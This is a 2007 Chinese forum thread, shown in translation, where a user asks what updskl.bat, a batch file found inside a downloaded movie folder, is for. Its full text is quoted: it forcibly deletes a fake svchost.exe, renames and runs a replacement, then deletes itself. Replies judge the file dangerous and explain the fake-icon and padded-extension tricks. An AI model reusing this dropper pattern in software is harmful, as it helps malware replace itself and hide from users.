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DOS批处理 & 脚本技术（批处理室） » After downloading the movie, I found the batch file updskl.bat and don't understand its intention.

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Floor1　enjoyer	Posted 2007-07-29 21:25
中级用户　Posts 140　Credits 351
The movie folder contains a batch file updskl.bat with the following content: @echo off :loop del "C:\Program Files\Common Files\System\svchost.exe" del "C:\Program Files\Common Files\System\ver.txt" del "C:\Program Files\Common Files\System\she.dll" if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop C: cd C:\Program Files\Common Files\System\ ren svchostnew.exe svchost.exe call "C:\Program Files\Common Files\System\svchost.exe" del "C:\Program Files\Common Files\System\updskl.bat" The first step is to forcibly delete the original svchost.exe, the second step is to rename svchostnew.exe to svchost.exe and then execute it. It seems that it wants to update the svchost.exe in the System folder of the computer. I don't understand the intention? Is it dangerous? Please help analyze, thank you all! [ Last edited by enjoyer on 2007-7-29 at 09:36 PM ]

Floor2　wudixin96	Posted 2007-07-29 21:32
银牌会员　Posts 931　Credits 1,928
Is there any problem? Maybe it's simulating the svchost process.

Floor3　enjoyer	Posted 2007-07-29 21:39
中级用户　Posts 140　Credits 351
I don't know what the relationship is with the downloaded movie files, and I also don't understand the svchost process. Will it affect the stability of my system? Please help analyze it for me upstairs, thank you.

Floor4　slore	Posted 2007-07-29 21:53
铂金会员　Posts 2,478　Credits 5,212
The SVCHOST of the system is under SYSTEM32, and the one there is not a normal system file.

Floor5　BWSkyer	Posted 2007-07-29 22:09
中级用户　Posts 180　Credits 367　From 重庆
It's a bit dangerous, not recommended to run, feels like it~~ After all, there's no relation between the movie and svchost.

Floor6　enjoyer	Posted 2007-07-30 00:04
中级用户　Posts 140　Credits 351
I'm afraid it's automatically running. If it doesn't run automatically, there's nothing to be afraid of.

Floor7　kich	Posted 2007-07-30 12:24
中级用户　Posts 168　Credits 397
I think your movie file might be fake! The icon is [icon], but the suffix at the end of the file is not! Note, it's the end, There will be such files: 001.avi(N many spaces).exe The icon is fake

Floor8　frankkf	Posted 2007-07-30 16:47
初级用户　Posts 43　Credits 88
What the person above said is very likely. It is suggested that the original poster still take a look~

Floor9　voiL	Posted 2007-07-30 21:30
中级用户　Posts 189　Credits 384
I don't know, anyway, just don't open it...

Floor10　taoty	Posted 2007-08-02 22:58
中级用户　Posts 112　Credits 275
There must be something wrong with this batch processing. The path of svchost.exe is incorrect.

Floor13　enjoyer	Posted 2007-08-03 21:41
中级用户　Posts 140　Credits 351
Thank you everyone for your help! The downloaded movie file is real (.rm format) and can play normally. I didn't pay any more attention to this batch file. But I don't know if it secretly runs during movie playback.

Floor14　ldr2zjj	Posted 2007-08-07 01:29
初级用户　Posts 95　Credits 167
Rename that file and then study it~~

Floor15　kingyn	Posted 2007-08-27 19:44
初级用户　Posts 21　Credits 32
svchost.exe is very important The building owner should be more careful

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